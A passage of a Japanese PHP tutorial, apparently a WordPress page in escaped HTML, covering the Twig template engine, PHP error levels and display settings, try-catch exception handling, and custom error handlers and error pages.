\u30aa\u30d7\u30b7\u30e7\u30f3\u3092\u7121\u52b9\u5316<\/li>\n<\/ol>\n\n\n\n<p>\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3092\u5c0e\u5165\u3059\u308b\u3053\u3068\u3067\u3001\u30b3\u30fc\u30c9\u306e\u4fdd\u5b88\u6027\u3068\u518d\u5229\u7528\u6027\u304c\u5927\u5e45\u306b\u5411\u4e0a\u3057\u307e\u3059\u3002\u7279\u306b\u5927\u898f\u6a21\u306a\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u306f\u3001\u30ed\u30b8\u30c3\u30af\u3068\u30d7\u30ec\u30bc\u30f3\u30c6\u30fc\u30b7\u30e7\u30f3\u306e\u5206\u96e2\u306b\u3088\u308a\u3001\u958b\u767a\u52b9\u7387\u3068\u30b3\u30fc\u30c9\u54c1\u8cea\u306e\u5411\u4e0a\u306b\u3064\u306a\u304c\u308a\u307e\u3059\u3002\u6b21\u306e\u7ae0\u3067\u306f\u3001\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u30c7\u30d0\u30c3\u30b0\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002&lt;\/body&gt; &lt;\/html&gt; \u201c`<\/p>\n\n\n\n<p>\u3053\u306e\u5206\u96e2\u306b\u3088\u308a\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u30e1\u30ea\u30c3\u30c8\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u8cac\u4efb\u306e\u660e\u78ba\u5316<\/strong>: PHP\u30d5\u30a1\u30a4\u30eb\u306f\u30c7\u30fc\u30bf\u53d6\u5f97\u306b\u5c02\u5ff5\u3057\u3001\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306f\u8868\u793a\u306b\u5c02\u5ff5\u3059\u308b<\/li>\n\n\n\n<li><strong>\u30c1\u30fc\u30e0\u4f5c\u696d\u306e\u52b9\u7387\u5316<\/strong>: \u30d0\u30c3\u30af\u30a8\u30f3\u30c9\u958b\u767a\u8005\u3068\u30d5\u30ed\u30f3\u30c8\u30a8\u30f3\u30c9\u958b\u767a\u8005\u304c\u5225\u3005\u306e\u30d5\u30a1\u30a4\u30eb\u3067\u4f5c\u696d\u3067\u304d\u308b<\/li>\n\n\n\n<li><strong>\u30b3\u30fc\u30c9\u306e\u518d\u5229\u7528<\/strong>: \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u90e8\u54c1\u5316\u3084\u7d99\u627f\u306b\u3088\u308a\u3001\u30b3\u30fc\u30c9\u306e\u91cd\u8907\u3092\u6e1b\u3089\u305b\u308b<\/li>\n\n\n\n<li><strong>\u30e1\u30f3\u30c6\u30ca\u30f3\u30b9\u6027\u306e\u5411\u4e0a<\/strong>: \u30d3\u30b8\u30cd\u30b9\u30ed\u30b8\u30c3\u30af\u306e\u5909\u66f4\u304c\u30c7\u30b6\u30a4\u30f3\u306b\u5f71\u97ff\u3057\u306b\u304f\u304f\u3001\u305d\u306e\u9006\u3082\u540c\u69d8<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u5411\u4e0a<\/strong>: \u591a\u304f\u306e\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u3067HTML\u30a8\u30b9\u30b1\u30fc\u30d7\u3092\u884c\u3046<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-41\">Twig\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u5b9f\u8df5\u7684\u306a\u4f7f\u3044\u65b9<\/h3>\n\n\n\n<p>Twig\u306f\u3001PHP\u7528\u306e\u9ad8\u901f\u3067\u67d4\u8edf\u3001\u304b\u3064\u30bb\u30ad\u30e5\u30a2\u306a\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u3067\u3059\u3002Symfony\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u4e00\u90e8\u3068\u3057\u3066\u958b\u767a\u3055\u308c\u307e\u3057\u305f\u304c\u3001\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3\u3067\u3082\u4f7f\u7528\u3067\u304d\u307e\u3059\u3002\u4ee5\u4e0b\u3067\u306f\u3001Twig\u306e\u57fa\u672c\u7684\u306a\u4f7f\u3044\u65b9\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-42\">Twig\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3068\u57fa\u672c\u69cb\u6587<\/h4>\n\n\n\n<p><strong>Composer\u3092\u4f7f\u3063\u305f\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">composer require twig\/twig\n<\/pre>\n\n\n\n<p><strong>\u57fa\u672c\u7684\u306a\u8a2d\u5b9a<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nrequire_once 'vendor\/autoload.php';\n\n\/\/ \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30ed\u30fc\u30c0\u30fc\u306e\u521d\u671f\u5316\uff08\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240\u3092\u6307\u5b9a\uff09\n$loader = new \\Twig\\Loader\\FilesystemLoader('templates');\n\n\/\/ Twig\u30a4\u30f3\u30b9\u30bf\u30f3\u30b9\u306e\u4f5c\u6210\n$twig = new \\Twig\\Environment($loader, [\n    'cache' =&gt; 'cache\/twig', \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\n    'debug' =&gt; true, \/\/ \u30c7\u30d0\u30c3\u30b0\u30e2\u30fc\u30c9\n    'auto_reload' =&gt; true, \/\/ \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u5909\u66f4\u3092\u81ea\u52d5\u691c\u51fa\n]);\n\n\/\/ \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u30ec\u30f3\u30c0\u30ea\u30f3\u30b0\necho $twig-&gt;render('index.twig', [\n    'title' =&gt; 'Twig\u306e\u57fa\u672c',\n    'items' =&gt; ['\u308a\u3093\u3054', '\u30d0\u30ca\u30ca', '\u30aa\u30ec\u30f3\u30b8']\n]);\n<\/pre>\n\n\n\n<p><strong>Twig\u306e\u57fa\u672c\u69cb\u6587<\/strong>:<\/p>\n\n\n\n<p>Twig\u306f3\u7a2e\u985e\u306e\u69cb\u6587\u3092\u4f7f\u7528\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>{{ \u2026 }}<\/strong> \u2013 \u5909\u6570\u3084\u5f0f\u306e\u51fa\u529b<\/li>\n\n\n\n<li><strong>{% \u2026 %}<\/strong> \u2013 \u5236\u5fa1\u69cb\u9020\uff08\u6761\u4ef6\u5206\u5c90\u3001\u30eb\u30fc\u30d7\u306a\u3069\uff09<\/li>\n\n\n\n<li><strong>{# \u2026 #}<\/strong> \u2013 \u30b3\u30e1\u30f3\u30c8\uff08\u51fa\u529b\u3055\u308c\u306a\u3044\uff09<\/li>\n<\/ol>\n\n\n\n<p>\u4ee5\u4e0b\u306f\u57fa\u672c\u7684\u306aTwig\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u4f8b\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# templates\/index.twig #}\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;{{ title }}&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;h1&gt;{{ title }}&lt;\/h1&gt;\n    \n    {% if items is empty %}\n        &lt;p&gt;\u30a2\u30a4\u30c6\u30e0\u306f\u3042\u308a\u307e\u305b\u3093\u3002&lt;\/p&gt;\n    {% else %}\n        &lt;ul&gt;\n            {% for item in items %}\n                &lt;li&gt;{{ item }}&lt;\/li&gt;\n            {% endfor %}\n        &lt;\/ul&gt;\n    {% endif %}\n    \n    {# \u3053\u308c\u306f\u30b3\u30e1\u30f3\u30c8\u3067\u3059\uff08\u51fa\u529b\u3055\u308c\u307e\u305b\u3093\uff09 #}\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-43\">\u5909\u6570\u3001\u6761\u4ef6\u5206\u5c90\u3001\u30eb\u30fc\u30d7\u306eTwig\u3067\u306e\u5b9f\u88c5\u65b9\u6cd5<\/h4>\n\n\n\n<p><strong>\u5909\u6570\u306e\u4f7f\u7528<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{# \u5358\u7d14\u306a\u5909\u6570 #}\n&lt;p&gt;\u3088\u3046\u3053\u305d\u3001{{ username }}\u3055\u3093&lt;\/p&gt;\n\n{# \u914d\u5217\/\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u30a2\u30af\u30bb\u30b9 #}\n&lt;p&gt;\u8a18\u4e8b\u30bf\u30a4\u30c8\u30eb: {{ post.title }}&lt;\/p&gt;\n&lt;p&gt;\u307e\u305f\u306f: {{ post['title'] }}&lt;\/p&gt;\n\n{# \u5909\u6570\u304c\u5b58\u5728\u3057\u306a\u3044\u5834\u5408\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u5024 #}\n&lt;p&gt;\u3088\u3046\u3053\u305d\u3001{{ username|default('\u30b2\u30b9\u30c8') }}\u3055\u3093&lt;\/p&gt;\n<\/pre>\n\n\n\n<p><strong>\u6761\u4ef6\u5206\u5c90<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{% if user.isAdmin %}\n    &lt;p&gt;\u7ba1\u7406\u8005\u30e1\u30cb\u30e5\u30fc\u3092\u8868\u793a&lt;\/p&gt;\n{% elseif user.isEditor %}\n    &lt;p&gt;\u7de8\u96c6\u8005\u30e1\u30cb\u30e5\u30fc\u3092\u8868\u793a&lt;\/p&gt;\n{% else %}\n    &lt;p&gt;\u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u30e1\u30cb\u30e5\u30fc\u3092\u8868\u793a&lt;\/p&gt;\n{%\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-44\">\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u30c7\u30d0\u30c3\u30b0<\/h2>\n\n\n\n<p>PHP\u3068HTML\u3092\u9023\u643a\u3057\u305f\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u3067\u306f\u3001\u30a8\u30e9\u30fc\u3084\u30d0\u30b0\u306f\u907f\u3051\u3089\u308c\u307e\u305b\u3093\u3002\u52b9\u679c\u7684\u306a\u30a8\u30e9\u30fc\u51e6\u7406\u3068\u30c7\u30d0\u30c3\u30b0\u6280\u8853\u3092\u8eab\u306b\u3064\u3051\u308b\u3053\u3068\u3067\u3001\u958b\u767a\u52b9\u7387\u306e\u5411\u4e0a\u3060\u3051\u3067\u306a\u304f\u3001\u3088\u308a\u5805\u7262\u306a\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u69cb\u7bc9\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u7ae0\u3067\u306f\u3001PHP\u306e\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\u3068\u52b9\u7387\u7684\u306a\u30c7\u30d0\u30c3\u30b0\u65b9\u6cd5\u306b\u3064\u3044\u3066\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-45\">PHP\u30a8\u30e9\u30fc\u306e\u7a2e\u985e\u3068HTML\u3067\u306e\u8868\u793a\u65b9\u6cd5<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-46\">PHP\u30a8\u30e9\u30fc\u30ec\u30d9\u30eb\u306e\u8a2d\u5b9a\u65b9\u6cd5<\/h4>\n\n\n\n<p>PHP\u306b\u306f\u69d8\u3005\u306a\u7a2e\u985e\u306e\u30a8\u30e9\u30fc\u30ec\u30d9\u30eb\u304c\u3042\u308a\u3001\u72b6\u6cc1\u306b\u5fdc\u3058\u3066\u9069\u5207\u306b\u8a2d\u5b9a\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>\u4e3b\u8981\u306aPHP\u30a8\u30e9\u30fc\u30ec\u30d9\u30eb<\/strong>:<\/p>\n\n\n<div id=\"id-cdbf7408-13d0-40d2-ae94-a21337733302\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u30a8\u30e9\u30fc\u30ec\u30d9\u30eb<\/th><th>\u610f\u5473<\/th><th>\u4f8b<\/th><\/tr><\/thead><tbody><tr><td>E_ERROR<\/td><td>\u81f4\u547d\u7684\u306a\u30e9\u30f3\u30bf\u30a4\u30e0\u30a8\u30e9\u30fc\u3002\u5b9f\u884c\u304c\u505c\u6b62\u3059\u308b<\/td><td>\u672a\u5b9a\u7fa9\u306e\u95a2\u6570\u547c\u3073\u51fa\u3057<\/td><\/tr><tr><td>E_WARNING<\/td><td>\u5b9f\u884c\u3092\u59a8\u3052\u306a\u3044\u30e9\u30f3\u30bf\u30a4\u30e0\u8b66\u544a<\/td><td>\u5b58\u5728\u3057\u306a\u3044\u30d5\u30a1\u30a4\u30eb\u306einclude<\/td><\/tr><tr><td>E_PARSE<\/td><td>\u30b3\u30f3\u30d1\u30a4\u30eb\u6642\u306e\u30d1\u30fc\u30b9\u30a8\u30e9\u30fc<\/td><td>\u6587\u6cd5\u30a8\u30e9\u30fc\uff08\u9589\u3058\u62ec\u5f27\u306e\u6b20\u843d\u306a\u3069\uff09<\/td><\/tr><tr><td>E_NOTICE<\/td><td>\u5b9f\u884c\u6642\u306e\u6ce8\u610f\uff08\u5c0f\u3055\u306a\u554f\u984c\uff09<\/td><td>\u672a\u5b9a\u7fa9\u306e\u5909\u6570\u3078\u306e\u30a2\u30af\u30bb\u30b9<\/td><\/tr><tr><td>E_DEPRECATED<\/td><td>\u5c06\u6765\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u52d5\u4f5c\u3057\u306a\u304f\u306a\u308b\u6a5f\u80fd<\/td><td>\u5ec3\u6b62\u4e88\u5b9a\u306e\u95a2\u6570\u4f7f\u7528<\/td><\/tr><tr><td>E_ALL<\/td><td>\u3059\u3079\u3066\u306e\u30a8\u30e9\u30fc\u3068\u8b66\u544a<\/td><td>\u4e0a\u8a18\u3059\u3079\u3066\u3092\u542b\u3080<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p><strong>\u30a8\u30e9\u30fc\u8868\u793a\u8a2d\u5b9a\u306e\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<p>PHP\u306e\u30a8\u30e9\u30fc\u8868\u793a\u8a2d\u5b9a\u306f\u3001\u4ee5\u4e0b\u306e\u65b9\u6cd5\u3067\u5236\u5fa1\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>php.ini \u30d5\u30a1\u30a4\u30eb\u3067\u306e\u8a2d\u5b9a<\/strong>:<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">error_reporting = E_ALL\ndisplay_errors = On\ndisplay_startup_errors = On\nlog_errors = On\nerror_log = \/path\/to\/php_error.log\n<\/pre>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>\u30b9\u30af\u30ea\u30d7\u30c8\u5185\u3067\u306e\u8a2d\u5b9a<\/strong>:<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u3059\u3079\u3066\u306e\u30a8\u30e9\u30fc\u3092\u8868\u793a\nerror_reporting(E_ALL);\nini_set('display_errors', 1);\nini_set('display_startup_errors', 1);\n\n\/\/ \u30a8\u30e9\u30fc\u306e\u30ed\u30b0\u8a18\u9332\u3092\u8a2d\u5b9a\nini_set('log_errors', 1);\nini_set('error_log', '\/path\/to\/php_error.log');\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u3067\u306e\u9069\u5207\u306a\u8a2d\u5b9a<\/strong>:<\/p>\n\n\n\n<p>\u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u3067\u306f\u3001\u30a8\u30e9\u30fc\u8a2d\u5b9a\u3092\u9069\u5207\u306b\u5909\u66f4\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u74b0\u5883\u306b\u5fdc\u3058\u305f\u8a2d\u5b9a\nif ($_SERVER['SERVER_NAME'] === 'localhost' || $_SERVER['SERVER_NAME'] === 'dev.example.com') {\n    \/\/ \u958b\u767a\u74b0\u5883\uff1a\u3059\u3079\u3066\u306e\u30a8\u30e9\u30fc\u3092\u8868\u793a\n    error_reporting(E_ALL);\n    ini_set('display_errors', 1);\n    ini_set('display_startup_errors', 1);\n} else {\n    \/\/ \u672c\u756a\u74b0\u5883\uff1a\u30a8\u30e9\u30fc\u3092\u8868\u793a\u305b\u305a\u3001\u30ed\u30b0\u306b\u8a18\u9332\n    error_reporting(E_ALL);\n    ini_set('display_errors', 0);\n    ini_set('display_startup_errors', 0);\n    ini_set('log_errors', 1);\n    ini_set('error_log', '\/path\/to\/production_error.log');\n}\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-47\">try-catch\u306b\u3088\u308b\u4f8b\u5916\u51e6\u7406<\/h4>\n\n\n\n<p>PHP\u3067\u306f\u3001\u4f8b\u5916\u51e6\u7406\u3092\u4f7f\u7528\u3057\u3066\u30a8\u30e9\u30fc\u3092\u5236\u5fa1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002try-catch\u30d6\u30ed\u30c3\u30af\u3092\u4f7f\u3046\u3053\u3068\u3067\u3001\u30a8\u30e9\u30fc\u3092\u3088\u308a\u67d4\u8edf\u306b\u51e6\u7406\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u57fa\u672c\u7684\u306atry-catch\u69cb\u6587<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\ntry {\n    \/\/ \u30a8\u30e9\u30fc\u304c\u767a\u751f\u3059\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u30b3\u30fc\u30c9\n    $file = fopen('non_existent_file.txt', 'r');\n    if (!$file) {\n        throw new Exception('\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u3051\u307e\u305b\u3093\u3067\u3057\u305f\u3002');\n    }\n    \/\/ \u30d5\u30a1\u30a4\u30eb\u51e6\u7406\u30b3\u30fc\u30c9\n} catch (Exception $e) {\n    \/\/ \u30a8\u30e9\u30fc\u51e6\u7406\n    echo \"\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f: \" . $e-&gt;getMessage();\n    \/\/ \u30ed\u30b0\u306b\u8a18\u9332\n    error_log($e-&gt;getMessage());\n} finally {\n    \/\/ \u30ea\u30bd\u30fc\u30b9\u306e\u89e3\u653e\u306a\u3069\u3001\u5fc5\u305a\u5b9f\u884c\u3057\u305f\u3044\u30b3\u30fc\u30c9\n    if (isset($file) &amp;&amp; $file) {\n        fclose($file);\n    }\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u8907\u6570\u306e\u4f8b\u5916\u30bf\u30a4\u30d7\u3092\u6355\u6349<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\ntry {\n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u64cd\u4f5c\u30b3\u30fc\u30c9\n    $db = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');\n    $stmt = $db-&gt;query('SELECT * FROM non_existent_table');\n} catch (PDOException $e) {\n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u95a2\u9023\u306e\u30a8\u30e9\u30fc\u51e6\u7406\n    echo \"\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n} catch (Exception $e) {\n    \/\/ \u305d\u306e\u4ed6\u306e\u4e00\u822c\u7684\u306a\u30a8\u30e9\u30fc\n    echo \"\u4e00\u822c\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n}\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u30ab\u30b9\u30bf\u30e0\u4f8b\u5916\u30af\u30e9\u30b9\u306e\u4f5c\u6210<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30ab\u30b9\u30bf\u30e0\u4f8b\u5916\u30af\u30e9\u30b9\nclass DatabaseException extends Exception {\n    protected $query;\n    \n    public function __construct($message, $query = '', $code = 0, Exception $previous = null) {\n        $this-&gt;query = $query;\n        parent::__construct($message, $code, $previous);\n    }\n    \n    public function getQuery() {\n        return $this-&gt;query;\n    }\n}\n\n\/\/ \u4f7f\u7528\u4f8b\ntry {\n    $query = \"SELECT * FROM users WHERE id = 1\";\n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u51e6\u7406\u30b3\u30fc\u30c9\n    if (!$result) {\n        throw new DatabaseException('\u30af\u30a8\u30ea\u306e\u5b9f\u884c\u306b\u5931\u6557\u3057\u307e\u3057\u305f\u3002', $query);\n    }\n} catch (DatabaseException $e) {\n    echo \"\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage();\n    echo \"&lt;br&gt;\u554f\u984c\u306e\u30af\u30a8\u30ea: \" . $e-&gt;getQuery();\n    \/\/ \u958b\u767a\u8005\u5411\u3051\u306e\u30ed\u30b0\u8a18\u9332\n    error_log(\"\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a8\u30e9\u30fc: \" . $e-&gt;getMessage() . \" \u30af\u30a8\u30ea: \" . $e-&gt;getQuery());\n}\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-48\">\u30ab\u30b9\u30bf\u30e0\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u306e\u4f5c\u6210\u65b9\u6cd5<\/h4>\n\n\n\n<p>\u30e6\u30fc\u30b6\u30fc\u30d5\u30ec\u30f3\u30c9\u30ea\u30fc\u306a\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u3092\u4f5c\u6210\u3059\u308b\u3053\u3068\u3067\u3001\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u3066\u3082\u9069\u5207\u306b\u5bfe\u5fdc\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u306e\u767b\u9332<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30ab\u30b9\u30bf\u30e0\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u95a2\u6570\nfunction customErrorHandler($errno, $errstr, $errfile, $errline) {\n    \/\/ \u30a8\u30e9\u30fc\u60c5\u5831\u3092\u30ed\u30b0\u306b\u8a18\u9332\n    error_log(\"PHP \u30a8\u30e9\u30fc [$errno] $errstr in $errfile on line $errline\");\n    \n    \/\/ \u8efd\u5fae\u306a\u30a8\u30e9\u30fc\u306f\u7121\u8996\n    if (!(error_reporting() &amp; $errno)) {\n        return false;\n    }\n    \n    \/\/ \u30a8\u30e9\u30fc\u306e\u7a2e\u985e\u306b\u5fdc\u3058\u305f\u51e6\u7406\n    switch ($errno) {\n        case E_USER_ERROR:\n            \/\/ \u81f4\u547d\u7684\u306a\u30a8\u30e9\u30fc - \u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u3092\u8868\u793a\n            header(\"HTTP\/1.1 500 Internal Server Error\");\n            include 'templates\/error_500.php';\n            exit(1);\n            break;\n            \n        case E_USER_WARNING:\n        case E_WARNING:\n            \/\/ \u8b66\u544a - \u30ed\u30b0\u306b\u8a18\u9332\u3057\u3001\u51e6\u7406\u3092\u7d9a\u884c\n            break;\n            \n        case E_USER_NOTICE:\n        case E_NOTICE:\n            \/\/ \u6ce8\u610f - \u30ed\u30b0\u306b\u8a18\u9332\u3057\u3001\u51e6\u7406\u3092\u7d9a\u884c\n            break;\n            \n        default:\n            \/\/ \u305d\u306e\u4ed6\u306e\u30a8\u30e9\u30fc\n            break;\n    }\n    \n    \/\/ PHP\u306e\u6a19\u6e96\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u306b\u3082\u51e6\u7406\u3092\u6e21\u3059\n    return false;\n}\n\n\/\/ \u30ab\u30b9\u30bf\u30e0\u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30e9\u306e\u8a2d\u5b9a\nset_error_handler(\"customErrorHandler\");\n\n\/\/ \u4f8b\u5916\u30cf\u30f3\u30c9\u30e9\nfunction customExceptionHandler($exception) {\n    \/\/ \u4f8b\u5916\u60c5\u5831\u3092\u30ed\u30b0\u306b\u8a18\u9332\n    error_log(\"\u672a\u6355\u6349\u306e\u4f8b\u5916: \" . $exception-&gt;getMessage() . \" in \" . $exception-&gt;getFile() . \" on line \" . $exception-&gt;getLine());\n    \n    \/\/ \u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u3092\u8868\u793a\n    header(\"HTTP\/1.1 500 Internal Server Error\");\n    include 'templates\/error_500.php';\n}\n\n\/\/ \u30ab\u30b9\u30bf\u30e0\u4f8b\u5916\u30cf\u30f3\u30c9\u30e9\u306e\u8a2d\u5b9a\nset_exception_handler(\"customExceptionHandler\");\n?&gt;\n<\/pre>\n\n\n\n<p><strong>HTTP\u30b9\u30c6\u30fc\u30bf\u30b9\u30b3\u30fc\u30c9\u5225\u306e\u30a8\u30e9\u30fc\u30da\u30fc\u30b8<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ templates\/error_404.php\n?&gt;\n&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;\u30da\u30fc\u30b8\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093&lt;\/title&gt;\n    &lt;style&gt;\n        body { font-family: Arial, sans-serif; text-align: center; 